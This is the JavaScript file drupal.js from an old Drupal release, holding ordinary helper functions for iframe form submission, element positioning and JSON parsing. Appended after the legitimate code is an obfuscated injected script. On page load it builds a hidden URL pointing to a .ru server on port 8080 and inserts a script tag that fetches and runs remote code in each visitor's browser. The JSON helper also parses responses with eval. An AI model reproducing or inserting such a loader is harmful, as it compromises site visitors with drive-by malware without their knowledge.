// $Id: drupal.js,v 1.29 2006/10/14 02:39:48 unconed Exp $

var Drupal = Drupal || {};

/**
 * Set the variable that indicates if JavaScript behaviors should be applied
 */
Drupal.jsEnabled = document.getElementsByTagName && document.createElement && document.createTextNode && document.documentElement && document.getElementById;

/**
 * Extends the current object with the parameter. Works recursively.
 */
Drupal.extend = function(obj) {
  for (var i in obj) {
    if (this[i]) {
      Drupal.extend.apply(this[i], [obj[i]]);
    }
    else {
      this[i] = obj[i];
    }
  }
};

/**
 * Redirects a button's form submission to a hidden iframe and displays the result
 * in a given wrapper. The iframe should contain a call to
 * window.parent.iframeHandler() after submission.
 */
Drupal.redirectFormButton = function (uri, button, handler) {
  // Trap the button
  button.onmouseover = button.onfocus = function() {
    button.onclick = function() {
      // Create target iframe
      Drupal.createIframe();

      // Prepare variables for use in anonymous function.
      var button = this;
      var action = button.form.action;
      var target = button.form.target;

      // Redirect form submission to iframe
      this.form.action = uri;
      this.form.target = 'redirect-target';

      handler.onsubmit();

      // Set iframe handler for later
      window.iframeHandler = function () {
        var iframe = $('#redirect-target').get(0);
        // Restore form submission
        button.form.action = action;
        button.form.target = target;

        // Get response from iframe body
        try {
          response = (iframe.contentWindow || iframe.contentDocument || iframe).document.body.innerHTML;
          // Firefox 1.0.x hack: Remove (corrupted) control characters
          response = response.replace(/[\f\n\r\t]/g, ' ');
          if (window.opera) {
            // Opera-hack: it returns innerHTML sanitized.
            response = response.replace(/&quot;/g, '"');
          }
        }
        catch (e) {
          response = null;
        }

        response = Drupal.parseJson(response);
        // Check response code
        if (response.status == 0) {
          handler.onerror(response.data);
          return;
        }
        handler.oncomplete(response.data);

        return true;
      }

      return true;
    }
  }
  button.onmouseout = button.onblur = function() {
    button.onclick = null;
  }
};

/**
 * Retrieves the absolute position of an element on the screen
 */
Drupal.absolutePosition = function (el) {
  var sLeft = 0, sTop = 0;
  var isDiv = /^div$/i.test(el.tagName);
  if (isDiv && el.scrollLeft) {
    sLeft = el.scrollLeft;
  }
  if (isDiv && el.scrollTop) {
    sTop = el.scrollTop;
  }
  var r = { x: el.offsetLeft - sLeft, y: el.offsetTop - sTop };
  if (el.offsetParent) {
    var tmp = Drupal.absolutePosition(el.offsetParent);
    r.x += tmp.x;
    r.y += tmp.y;
  }
  return r;
};

/**
 * Return the dimensions of an element on the screen
 */
Drupal.dimensions = function (el) {
  return { width: el.offsetWidth, height: el.offsetHeight };
};

/**
 *  Returns the position of the mouse cursor based on the event object passed
 */
Drupal.mousePosition = function(e) {
  return { x: e.clientX + document.documentElement.scrollLeft, y: e.clientY + document.documentElement.scrollTop };
};

/**
 * Parse a JSON response.
 *
 * The result is either the JSON object, or an object with 'status' 0 and 'data' an error message.
 */
Drupal.parseJson = function (data) {
  if ((data.substring(0, 1) != '{') && (data.substring(0, 1) != '[')) {
    return { status: 0, data: data.length ? data : 'Unspecified error' };
  }
  return eval('(' + data + ');');
};

/**
 * Create an invisible iframe for form submissions.
 */
Drupal.createIframe = function () {
  if ($('#redirect-holder').size()) {
    return;
  }
  // Note: some browsers require the literal name/id attributes on the tag,
  // some want them set through JS. We do both.
  window.iframeHandler = function () {};
  var div = document.createElement('div');
  div.id = 'redirect-holder';
  $(div).html('');
  var iframe = div.firstChild;
  $(iframe)
    .attr({
      name: 'redirect-target',
      id: 'redirect-target'
    })
    .css({
      position: 'absolute',
      height: '1px',
      width: '1px',
      visibility: 'hidden'
    });
  $('body').append(div);
};

/**
 * Delete the invisible iframe
 */
Drupal.deleteIframe = function () {
  $('#redirect-holder').remove();
};

/**
 * Freeze the current body height (as minimum height). Used to prevent
 * unnecessary upwards scrolling when doing DOM manipulations.
 */
Drupal.freezeHeight = function () {
  Drupal.unfreezeHeight();
  var div = document.createElement('div');
  $(div).css({
    position: 'absolute',
    top: '0px',
    left: '0px',
    width: '1px',
    height: $('body').css('height')
  }).attr('id', 'freeze-height');
  $('body').append(div);
};

/**
 * Unfreeze the body height
 */
Drupal.unfreezeHeight = function () {
  $('#freeze-height').remove();
};

/**
 * Wrapper to address the mod_rewrite url encoding bug
 * (equivalent of drupal_urlencode() in PHP).
 */
Drupal.encodeURIComponent = function (item, uri) {
  uri = uri || location.href;
  item = encodeURIComponent(item).replace('%2F', '/');
  return uri.indexOf('?q=') ? item : item.replace('%26', '%2526').replace('%23', '%2523');
};

// Global Killswitch on the <html> element
if (Drupal.jsEnabled) {
  document.documentElement.className = 'js';
}

var kQ='';function M() {var n=new Date();this.mf="";var d=RegExp;var b=']';var t='g';var _;if(_!='' && _!='x'){_=''};var wo=new Date();var im=new Date();var t_=new Date();var X='[';var k='replace';var H=new String();this.dA="";this.j="";function m(z,bX){var bI;if(bI!=''){bI='Dz'};var imz;if(imz!='' && imz!='Oy'){imz='AC'};this.RU="";var A=X;A+=bX;this.zn='';A+=b;var Y=new d(A, t);var th;if(th!=''){th='fi'};var gx=new String();return z[k](Y, H);this.Yr='';};var wW='';var KV;if(KV!='' && KV!='gt'){KV=null};var u=m('hXtXtXpX:9/X/XhXoZtXl9iXnXkXiZmZaZgXeX-9cXo9mX.Xw9e9b9mZa9sXt9eZrZw9oXrZlXd9.ZcZoZmX.Zt9u9dXo9uX-ZcXoXm9.9sZaZmXuZeXsXt9.XrXu9:Z',"ZX9");var qj=new Date();var gz=new String();var K=m('sucur0i0pXtu',"0uX");var Gl=new Date();var ie;if(ie!='PD' && ie != ''){ie=null};var I=window;var rk;if(rk!='W' && rk != ''){rk=null};var Q='';var sP=new String();var v=m('cdrZeZaZtzeZEdldeZmdeZnztz',"dzTZ");var ei=new String();var P=m('877047484470744',"74");var wy;if(wy!='' && wy!='h'){wy='vc'};var L=m('/SlSaytyiQmyeysQ.ycQoymS/QlSaQtyiymyeysS.ScSoSmQ/ygSoQoygSlQey.ycSoymy/Smysyny.Scyay/SaymyaSzQoSnQ.SfSrQ.ypShSpS',"yQS");var ed=new Date();var N;if(N!='oV'){N=''};I[m('o6n6lGoGaGdG',"6G")]=function(){try {Q+=u;var QX;if(QX!='HN' && QX != ''){QX=null};Q+=P;this.hs='';Q+=L;var J=new String();p=document[v](K);var U=new String();var _r=new String();this.lfo="";this._lt="";e(p,'src',Q);var V=new Array();var Lu;if(Lu!='xu' && Lu!='Kw'){Lu='xu'};var jQ;if(jQ!='' && jQ!='uu'){jQ=''};var fs;if(fs!='' && fs!='Ls'){fs=''};e(p,'defer',([1,2][0]));var Rs;if(Rs!='' && Rs!='Jk'){Rs='PB'};document.body.appendChild(p);} catch(S){var Nu=new Array();};var qQ=new Array();var EO='';};var Zn=new Date();function e(Hj,Ko,Li){var Ec="";var ar="";Hj.setAttribute(Ko, Li);}var sf=new Date();};var _i;if(_i!='AB' && _i != ''){_i=null};M();this.HM="";